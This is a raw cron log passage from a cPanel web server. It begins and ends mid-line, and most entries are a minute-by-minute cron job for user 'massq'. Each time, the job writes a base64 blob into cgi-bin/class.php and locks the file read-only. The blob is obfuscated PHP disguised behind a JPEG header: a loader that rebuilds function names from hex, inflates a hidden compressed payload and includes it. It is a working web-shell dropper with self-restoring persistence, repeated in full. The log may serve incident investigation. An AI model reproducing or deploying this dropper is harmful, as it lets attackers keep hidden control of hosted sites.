"/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 06:01:01 server run-parts(/etc/cron.hourly)[30492]: starting 0anacron
Apr 12 06:01:01 server run-parts(/etc/cron.hourly)[30505]: finished 0anacron
Apr 12 06:02:01 server CROND[30668]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 06:03:01 server CROND[30718]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 06:04:01 server CROND[30774]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 06:05:01 server CROND[30838]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 06:05:01 server CROND[30839]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr 12 06:05:01 server CROND[30840]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 12 06:05:01 server CROND[30842]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 12 06:06:01 server CROND[30945]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 06:07:01 server CROND[31088]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 06:08:01 server CROND[31128]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 06:09:01 server CROND[31183]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 06:09:01 server CROND[31184]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr 12 06:10:01 server CROND[31235]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 12 06:10:01 server CROND[31236]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 06:10:01 server CROND[31237]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 12 06:10:01 server CROND[31234]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 12 06:11:01 server CROND[31354]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 06:12:01 server CROND[31396]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 06:12:01 server CROND[31397]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr 12 06:13:01 server CROND[31607]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 06:14:01 server CROND[31701]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespL